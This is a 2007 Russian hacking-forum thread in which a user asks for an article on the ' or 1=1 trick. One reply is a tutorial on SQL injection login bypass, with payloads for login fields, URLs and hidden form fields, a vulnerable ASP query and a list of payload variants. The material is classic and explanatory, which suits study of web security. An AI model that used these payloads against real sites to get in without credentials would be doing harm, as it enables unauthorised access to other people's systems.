Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Помогите найти (https://forum.antichat.xyz/showthread.php?t=49316)

ЛифчиС5СВ 18.09.2007 19:48

Помогите найти
 
Привет, мужики. Не могу найти второй раз (уже мельком видел, но не запомнил где) пост с разжевыванием сцути работы ' Or 1=1/*, 2 дня не могу найти то сообщение. То ли Пантеры, то ли Спайдера, то ли еще кто скидывал...
Подскажите, плиз.

iv. 18.09.2007 19:55

Суть в том, что учи синтаксис мускульных запросов.

oof 18.09.2007 19:58

Как мне проверить что то, что я нашел, уязвимость?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi' or 1=1--

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi' or 1=1--
Pass: hi' or 1=1--
http://duck/index.asp?id=hi' or 1=1--

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1-- ">

</FORM>

Если удача на вашей стороне, вы войдете в систему без имени или пароля.
Но почему ' or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food

В URL, 'category' это имя переменной, и 'food' значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory='food'

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом:

http://duck/index.asp?category=food' or 1=1--
SELECT * FROM product WHERE PCategory='food' or 1=1--

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

' or 'a'='a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

Piflit 18.09.2007 20:06

Цитата:

Сообщение от iv.
Суть в том, что учи синтаксис мускульных запросов.

+1

halkfild 18.09.2007 20:11

мдя.. а репа то набита на топике со скулями а такое спрашиваешь((

смысл в том что ты в запрос инжектишь еще часть Or 1=1/* следовательно добавляешь одно условие которое всегда истина.. ну а так как условие всегда истинно то и з базы возвращается результат ну и тебя аутентифицирует


з.ы. почитай мат часть сразу все станет ясно да и много нового узнаешь)

ЛифчиС5СВ 18.09.2007 20:29

Да я понимаю. )))) Но мне нужна полная расписанная статья))) Влом писать

Архангел Тираэль 18.09.2007 23:16

Цитата:

Да я понимаю. )))) Но мне нужна полная расписанная статья))) Влом писать
труд зделал из обезьяны человека, а из человека хакера. не ленись!

ЛифчиС5СВ 19.09.2007 00:52

Ой, как же тяжело. Попросил только 1 - если кто видел - скинуть линк на статью, а мне тут столько наговорили уже. Ну что за глупая привычка, понтоваться и выпендриваться, вместо того, чтобы просто ответить на вопрос... ((((
oоf, спасибо

Isis 19.09.2007 01:13

Мда, oof, а ты показал на MSSQL


Время: 14:48